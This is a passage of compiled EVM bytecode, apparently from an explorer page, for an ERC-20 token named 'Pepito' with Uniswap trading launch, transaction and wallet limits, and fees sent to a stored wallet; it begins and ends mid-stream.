ffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a88576009548110611a7157611a70611a6b84611a6684600a54611bb7565b611bb7565b611bcf565b5b5f4790505f8110611a8657611a8547611e3a565b5b505b505b611a978484848488611ea2565b505b505050565b5f838311158290611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc91906124be565b60405180910390fd5b505f8385611af3919061309b565b9050809150509392505050565b5f611b4183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a9e565b905092915050565b5f808284611b579190612fb9565b905083811015611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9390613118565b60405180910390fd5b8091505092915050565b5f80823b90505f8111915050919050565b5f818311611bc55782611bc7565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611c0657611c05613136565b5b604051908082528060200260200182016040528015611c345781602001602082028036833780820191505090505b50905030815f81518110611c4b57611c4a613163565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d139190612b69565b81600181518110611d2757611d26613163565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d8d3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611def959493929190613247565b5f604051808303815f87803b158015611e06575f80fd5b505af1158015611e18573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e9e573d5f803e3d5ffd5b5050565b5f611ec96064611ebb868661216290919063ffffffff16565b6121d990919063ffffffff16565b90505f6001905060035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611f2457606490505b6064811015612031575f82111561202c57611f858260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161202391906125ef565b60405180910390a35b61214d565b6120a661205a606461204c888561216290919063ffffffff16565b6121d990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214491906125ef565b60405180910390a35b61215987878785612222565b50505050505050565b5f808303612172575f90506121d3565b5f828461217f919061292b565b905082848261218e91906132cc565b146121ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c59061336c565b60405180910390fd5b809150505b92915050565b5f61221a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123d3565b905092915050565b6122728260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506123156122c98284611b0090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6123b88486611b0090919063ffffffff16565b6040516123c591906125ef565b60405180910390a350505050565b5f8083118290612419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241091906124be565b60405180910390fd5b505f838561242791906132cc565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561246b578082015181840152602081019050612450565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61249082612434565b61249a818561243e565b93506124aa81856020860161244e565b6124b381612476565b840191505092915050565b5f6020820190508181035f8301526124d68184612486565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61250b826124e2565b9050919050565b61251b81612501565b8114612525575f80fd5b50565b5f8135905061253681612512565b92915050565b5f819050919050565b61254e8161253c565b8114612558575f80fd5b50565b5f8135905061256981612545565b92915050565b5f8060408385031215612585576125846124de565b5b5f61259285828601612528565b92505060206125a38582860161255b565b9150509250929050565b5f8115159050919050565b6125c1816125ad565b82525050565b5f6020820190506125da5f8301846125b8565b92915050565b6125e98161253c565b82525050565b5f6020820190506126025f8301846125e0565b92915050565b5f805f6060848603121561261f5761261e6124de565b5b5f61262c86828701612528565b935050602061263d86828701612528565b925050604061264e8682870161255b565b9150509250925092565b5f60ff82169050919050565b61266d81612658565b82525050565b5f6020820190506126865f830184612664565b92915050565b5f602082840312156126a1576126a06124de565b5b5f6126ae84828501612528565b91505092915050565b6126c081612501565b82525050565b5f6020820190506126d95f8301846126b7565b92915050565b5f80604083850312156126f5576126f46124de565b5b5f61270285828601612528565b925050602061271385828601612528565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61275160208361243e565b915061275c8261271d565b602082019050919050565b5f6020820190508181035f83015261277e81612745565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612807578086048111156127e3576127e2612785565b5b60018516156127f25780820291505b8081029050612800856127b2565b94506127c7565b94509492505050565b5f8261281f57600190506128da565b8161282c575f90506128da565b8160018114612842576002811461284c5761287b565b60019150506128da565b60ff84111561285e5761285d612785565b5b8360020a91508482111561287557612874612785565b5b506128da565b5060208310610133831016604e8410600b84101617156128b05782820a9050838111156128ab576128aa612785565b5b6128da565b6128bd84848460016127be565b925090508184048111156128d4576128d3612785565b5b81810290505b9392505050565b5f6128eb8261253c565b91506128f683612658565b92506129237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612810565b905092915050565b5f6129358261253c565b91506129408361253c565b925082820261294e8161253c565b9150828204841483151761296557612964612785565b5b5092915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6129a060178361243e565b91506129ab8261296c565b602082019050919050565b5f6020820190508181035f8301526129cd81612994565b9050919050565b5f819050919050565b5f819050919050565b5f612a006129fb6129f6846129d4565b6129dd565b61253c565b9050919050565b612a10816129e6565b82525050565b5f60c082019050612a295f8301896126b7565b612a3660208301886125e0565b612a436040830187612a07565b612a506060830186612a07565b612a5d60808301856126b7565b612a6a60a08301846125e0565b979650505050505050565b5f81519050612a8381612545565b92915050565b5f805f60608486031215612aa057612a9f6124de565b5b5f612aad86828701612a75565b9350506020612abe86828701612a75565b9250506040612acf86828701612a75565b9150509250925092565b5f604082019050612aec5f8301856126b7565b612af960208301846125e0565b9392505050565b612b09816125ad565b8114612b13575f80fd5b50565b5f81519050612b2481612b00565b92915050565b5f60208284031215612b3f57612b3e6124de565b5b5f612b4c84828501612b16565b91505092915050565b5f81519050612b6381612512565b92915050565b5f60208284031215612b7e57612b7d6124de565b5b5f612b8b84828501612b55565b91505092915050565b5f604082019050612ba75f8301856126b7565b612bb460208301846126b7565b9392505050565b7f54726164696e672068617320616c7265616479206265656e206f70656e6564005f82015250565b5f612bef601f8361243e565b9150612bfa82612bbb565b602082019050919050565b5f6020820190508181035f830152612c1c81612be3565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e636500000000005f82015250565b5f612c57601b8361243e565b9150612c6282612c23565b602082019050919050565b5f6020820190508181035f830152612c8481612c4b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ce560248361243e565b9150612cf082612c8b565b604082019050919050565b5f6020820190508181035f830152612d1281612cd9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d7360228361243e565b9150612d7e82612d19565b604082019050919050565b5f6020820190508181035f830152612da081612d67565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612e0160258361243e565b9150612e0c82612da7565b604082019050919050565b5f6020820190508181035f830152612e2e81612df5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e8f60238361243e565b9150612e9a82612e35565b604082019050919050565b5f6020820190508181035f830152612ebc81612e83565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612f1d60298361243e565b9150612f2882612ec3565b604082019050919050565b5f6020820190508181035f830152612f4a81612f11565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e00000000000000005f82015250565b5f612f8560188361243e565b9150612f9082612f51565b602082019050919050565b5f6020820190508181035f830152612fb281612f79565b9050919050565b5f612fc38261253c565b9150612fce8361253c565b9250828201905080821115612fe657612fe5612785565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613020601a8361243e565b915061302b82612fec565b602082019050919050565b5f6020820190508181035f83015261304d81613014565b9050919050565b5f61305e8261253c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130905761308f612785565b5b600182019050919050565b5f6130a58261253c565b91506130b08361253c565b92508282039050818111156130c8576130c7612785565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613102601b8361243e565b915061310d826130ce565b602082019050919050565b5f6020820190508181035f83015261312f816130f6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131c281612501565b82525050565b5f6131d383836131b9565b60208301905092915050565b5f602082019050919050565b5f6131f582613190565b6131ff818561319a565b935061320a836131aa565b805f5b8381101561323a57815161322188826131c8565b975061322c836131df565b92505060018101905061320d565b5085935050505092915050565b5f60a08201905061325a5f8301886125e0565b6132676020830187612a07565b818103604083015261327981866131eb565b905061328860608301856126b7565b61329560808301846125e0565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6132d68261253c565b91506132e18361253c565b9250826132f1576132f061329f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61335660218361243e565b9150613361826132fc565b604082019050919050565b5f6020820190508181035f8301526133838161334a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fb714ce8da4ee7c1c508f57447f4b246917dfd955677a7626c08b0d9ff8a7d264736f6c63430008140033

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063715018a61161009f578063a15e800d11610063578063a15e800d14610368578063a9059cbb1461037e578063bf474bed146103ba578063dd62ed3e146103e4578063f4293890146104205761011e565b8063715018a6146102aa5780637d1db4a5146102c05780638da5cb5b146102ea5780638f9a55c01461031457806395d89b411461033e5761011e565b806318160ddd116100e657806318160ddd146101c857806323b872dd146101f2578063293230b81461022e578063313ce5671461024457806370a082311461026e5761011e565b8063014667601461012257806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e5761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610136610436565b005b348015610143575f80fd5b5061014c610514565b60405161015991906124be565b60405180910390f35b34801561016d575f80fd5b506101886004803603810190610183919061256f565b610551565b60405161019591906125c7565b60405180910390f35b3480156101a9575f80fd5b506101b261056e565b6040516101bf91906125ef565b60405180910390f35b3480156101d3575f80fd5b506101dc610574565b6040516101e991906125ef565b60405180910390f35b3480156101fd575f80fd5b5061021860048036038101906102139190612608565b610598565b60405161022591906125c7565b60405180910390f35b348015610239575f80fd5b5061024261066c565b005b34801561024f575f80fd5b5061025861091c565b6040516102659190612673565b60405180910390f35b348015610279575f80fd5b50610294600480360381019061028f919061268c565b610924565b6040516102a191906125ef565b60405180910390f35b3480156102b5575f80fd5b506102be61096a565b005b3480156102cb575f80fd5b506102d4610ab8565b6040516102e191906125ef565b60405180910390f35b3480156102f5575f80fd5b506102fe610abe565b60405161030b91906126c6565b60405180910390f35b34801561031f575f80fd5b50610328610ae5565b60405161033591906125ef565b60405180910390f35b348015610349575f80fd5b50610352610aeb565b60405161035f91906124be565b60405180910390f35b348015610373575f80fd5b5061037c610b28565b005b348015610389575f80fd5b506103a4600480360381019061039f919061256f565b610e7d565b6040516103b191906125c7565b60405180910390f35b3480156103c5575f80fd5b506103ce610e9a565b6040516103db91906125ef565b60405180910390f35b3480156103ef575f80fd5b5061040a600480360381019061040591906126df565b610ea0565b60405161041791906125ef565b60405180910390f35b34801561042b575f80fd5b50610434610f22565b005b61043e611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c190612767565b60405180910390fd5b5f196007819055505f196008819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf5f1960405161050a91906125ef565b60405180910390a1565b60606040518060400160405280600681526020017f50657069746f0000000000000000000000000000000000000000000000000000815250905090565b5f61056461055d611098565b848461109f565b6001905092915050565b600a5481565b5f6009600a61058391906128e1565b64563e280e80610593919061292b565b905090565b5f6105a4848484611262565b610661846105b0611098565b61065c8560405180606001604052806028815260200161338b6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610613611098565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a9e9092919063ffffffff16565b61109f565b600190509392505050565b610674611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790612767565b60405180910390fd5b60148054906101000a900460ff161561074e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610745906129b6565b60405180910390fd5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306006545f8061079a610abe565b426040518863ffffffff1660e01b81526004016107bc96959493929190612a16565b60606040518083038185885af11580156107d8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107fd9190612a89565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161089d929190612ad9565b6020604051808303815f875af11580156108b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dd9190612b2a565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610972611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f590612767565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600681526020017f50455049544f0000000000000000000000000000000000000000000000000000815250905090565b610b30611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb390612767565b60405180910390fd5b60148054906101000a900460ff1615610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c01906129b6565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca73060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c9291906128e1565b64563e280e80610ca2919061292b565b61109f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d359190612b69565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dbb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ddf9190612b69565b6040518363ffffffff1660e01b8152600401610dfc929190612b94565b6020604051808303815f875af1158015610e18573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3c9190612b69565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f610e90610e89611098565b8484611262565b6001905092915050565b60095481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f2a611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad90612767565b60405180910390fd5b60148054906101000a900460ff1615611004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffb90612c05565b60405180910390fd5b5f4790505f811161104a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104190612c6d565b60405180910390fd5b611052610abe565b73ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611094573d5f803e3d5ffd5b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490612cfb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117290612d89565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125591906125ef565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c790612e17565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612ea5565b60405180910390fd5b5f8111611380576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137790612f33565b60405180910390fd5b601460169054906101000a900460ff1615806113a85750601460159054906101000a900460ff165b15611539576113fd8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061148e8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161152c91906125ef565b60405180910390a3611a99565b5f611542610abe565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b05750611580610abe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a8a57600f54601254116115c857600b546115cc565b600d545b905060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611677575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561175a576007548211156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b890612f9b565b60405180910390fd5b600854826116ce85610924565b6116d89190612fb9565b1115611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090613036565b60405180910390fd5b4360036005546117299190612fb9565b11156117425761173883611ba6565b15611741575f80fd5b5b60125f81548092919061175490613054565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117fe575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561185c576008548261181085610924565b61181a9190612fb9565b111561185b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185290613036565b60405180910390fd5b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118e457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561190357601054601254116118fc57600c54611900565b600e545b90505b5f61190d30610924565b9050601460159054906101000a900460ff16158015611978575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119905750601460169054906101000a900460ff165b801561199f5750601154601254115b80156119f2575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a45575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a88576009548110611a7157611a70611a6b84611a6684600a54611bb7565b611bb7565b611bcf565b5b5f4790505f8110611a8657611a8547611e3a565b5b505b505b611a978484848488611ea2565b505b505050565b5f838311158290611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc91906124be565b60405180910390fd5b505f8385611af3919061309b565b9050809150509392505050565b5f611b4183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a9e565b905092915050565b5f808284611b579190612fb9565b905083811015611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9390613118565b60405180910390fd5b8091505092915050565b5f80823b90505f8111915050919050565b5f818311611bc55782611bc7565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611c0657611c05613136565b5b604051908082528060200260200182016040528015611c345781602001602082028036833780820191505090505b50905030815f81518110611c4b57611c4a613163565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d139190612b69565b81600181518110611d2757611d26613163565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d8d3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611def959493929190613247565b5f604051808303815f87803b158015611e06575f80fd5b505af1158015611e18573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e9e573d5f803e3d5ffd5b5050565b5f611ec96064611ebb868661216290919063ffffffff16565b6121d990919063ffffffff16565b90505f6001905060035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611f2457606490505b6064811015612031575f82111561202c57611f858260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161202391906125ef565b60405180910390a35b61214d565b6120a661205a606461204c888561216290919063ffffffff16565b6121d990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214491906125ef565b60405180910390a35b61215987878785612222565b50505050505050565b5f808303612172575f90506121d3565b5f828461217f919061292b565b905082848261218e91906132cc565b146121ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c59061336c565b60405180910390fd5b809150505b92915050565b5f61221a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123d3565b905092915050565b6122728260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506123156122c98284611b0090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6123b88486611b0090919063ffffffff16565b6040516123c591906125ef565b60405180910390a350505050565b5f8083118290612419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241091906124be565b60405180910390fd5b505f838561242791906132cc565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561246b578082015181840152602081019050612450565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61249082612434565b61249a818561243e565b93506124aa81856020860161244e565b6124b381612476565b840191505092915050565b5f6020820190508181035f8301526124d68184612486565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61250b826124e2565b9050919050565b61251b8161250156